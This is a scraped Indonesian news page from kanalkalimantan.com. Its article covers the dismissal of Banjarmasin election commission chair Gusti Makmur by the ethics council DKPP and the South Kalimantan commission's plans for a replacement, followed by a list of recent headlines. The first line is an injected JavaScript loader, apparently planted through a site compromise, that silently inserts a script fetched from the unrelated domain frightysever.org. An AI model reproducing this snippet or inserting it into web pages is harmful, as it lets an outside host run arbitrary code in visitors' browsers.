(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gusti Makmur Diberhentikan, KPU Kalsel Siapkan Pengganti


KANALKALIMANTAN.COM, BANJARMASIN – Keputusan Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI yang memutuskan pemberhentian tetap terhadap ketua merangkap anggota KPU Kota Banjarmasin non aktif Gusti Makmur, juga direspon oleh KPU Provinsi Kalsel.

Ditemui di ruang kerja pada Kamis (5/3/2020) pagi, Ketua KPU Provinsi Kalsel Sarmuji mengatakan, ia telah membaca salinan putusan DKPP dengan nomor 11-PKE-DKPP/II/2020 ini. Menurut Sarmuji, tindak lanjut dari putusan DKPP RI ada di tangan KPU RI, paling lambat 7 hari setelah putusan DKPP RI.

“Karena yang memberhentikan dan mengangkat komisioner baik di KPU kabupaten dan kota adalah KPU RI,” ucap Sarmuji.

Karena semua kewenangan itu berada di tangan KPU RI, lanjut Sarmuji, pihaknya tinggal menunggu perintah lebih lanjut. Termasuk menindaklanjuti putusan DKPP RI yang memberhentikan Gusti Makmur dan pengganti antar waktu (PAW).

“Selanjutnya kami menunggu perintah lagi, karena kurangnya Komisioner di KPU Kota Banjarmasin, akan dilakukan PAW,” papar Sarmuji.

Nantinya, dari PAW diambil dari urutan nomor 6 hingga 10 saat seleksi komisioner KPU Kota Banjarmasin. Tinggal apakah memenuhi persyaratan atau mengundurkan diri karena tidak lagi bersedia sebagai PAW Komisioner KPU Kota Banjarmasin.

“Nantinya KPU RI akan memerintahkan KPU Provinsi Kalsel untuk pemanggilan calon-calon komisioner berikutnya,” ungkap Sarmuji.

Lalu, bagaimana KPU Provinsi Kalsel menyikapi putusan DKPP RI ini? “Itu sudah, DKPP RI sudah memberhentikan. Tentu kita akan menyiapkan berkenaan dengan tindak lanjut dari KPU RI berkenaan dengan putusan DKPP RI itu,” pungkas Sarmuji.

Gusti Makmur sendiri, diputuskan untuk diberhentikan tetap sebagai Ketua merangkap anggota KPU Kota Banjarmasin, pada Sidang DKPP RI yang digelar di Jakarta, Rabu (4/3/2020) siang.

Dalam pembacaan putusan, anggota majelis sidang DKPP Dr Ida Budhiati mengatakan, Gusti Makmur terbukti melanggar pasal 26 huruf c, pasal 30 huruf f, pasal 12 huruf a dan huruf b, dan pasal 15 huruf a Peraturan DKPP nomor 2 tahun 2017 tengang Kode Etik dan Pedoman Perilaku Penyelenggara Pemilihan Umum. “Tidak dapat dibenarkan menurut etika dan hukum,” kata Ida. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.